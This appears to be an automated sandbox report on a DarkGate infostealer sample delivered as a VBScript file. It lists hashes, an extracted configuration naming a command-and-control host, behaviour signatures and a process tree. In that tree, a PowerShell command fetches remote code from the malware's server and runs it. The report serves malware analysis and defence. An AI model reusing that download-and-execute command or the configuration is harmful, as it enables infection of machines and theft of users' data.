Analysis

  • max time kernel
    315s
  • max time network
    883s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-en
  • resource tags

    arch:x64arch:x86image:win10-20240214-enlocale:en-usos:windows10-1703-x64system
  • submitted
    20/03/2024, 12:58

General

  • Target

    AZURE_DOC_OPEN.vbs

  • Size

    12KB

  • MD5

    802e03ffd6498ec9693848197fe4d2e5

  • SHA1

    958dfdadcd0f21d801561b94c23b8b3d6e5f4688

  • SHA256

    b3a8c88bdd9701a5ca532e0b433944e0992a3ae90e0bb974b2d091b2a01efb94

  • SHA512

    06d886eb039d120372a112c1f2c1a399d788800bd6ffc5892dd9e38f6ee4f8c7c2125e654248f2df24016276fedd52c6f7f30146d34a46ccb217b72abcbefb4a

  • SSDEEP

    192:oMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nN6UX:Ty19gR3IquNgzG2oNdOdEpeeqlPX

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

badbutperfect.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    WZqqpfdY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AZURE_DOC_OPEN.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\rimz\AutoHotkey.exe
        "C:\rimz\AutoHotkey.exe" script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:912
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/rimz
        3⤵
        • Views/modifies file attributes
        PID:3024

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovfeuip3.o2h.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\rimz\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\rimz\script.ahk

    Filesize

    54KB

    MD5

    f02f0bba1f1f678da41abafd02f4c545

    SHA1

    c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

    SHA256

    5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

    SHA512

    8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

  • C:\rimz\test.txt

    Filesize

    915KB

    MD5

    4e1b052f107d2ee5321b44fc0e107638

    SHA1

    679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

    SHA256

    a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

    SHA512

    5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

  • memory/912-70-0x0000000004940000-0x00000000049B3000-memory.dmp

    Filesize

    460KB

  • memory/912-69-0x0000000004940000-0x00000000049B3000-memory.dmp

    Filesize

    460KB

  • memory/4120-7-0x0000027D279A0000-0x0000027D279C2000-memory.dmp

    Filesize

    136KB

  • memory/4120-30-0x0000027D28330000-0x0000027D284F2000-memory.dmp

    Filesize

    1.8MB

  • memory/4120-25-0x0000027D0F260000-0x0000027D0F270000-memory.dmp

    Filesize

    64KB

  • memory/4120-10-0x0000027D27B50000-0x0000027D27BC6000-memory.dmp

    Filesize

    472KB

  • memory/4120-4-0x00007FFC331D0000-0x00007FFC33BBC000-memory.dmp

    Filesize

    9.9MB

  • memory/4120-67-0x00007FFC331D0000-0x00007FFC33BBC000-memory.dmp

    Filesize

    9.9MB

  • memory/4120-5-0x0000027D0F260000-0x0000027D0F270000-memory.dmp

    Filesize

    64KB

  • memory/4120-6-0x0000027D0F260000-0x0000027D0F270000-memory.dmp

    Filesize

    64KB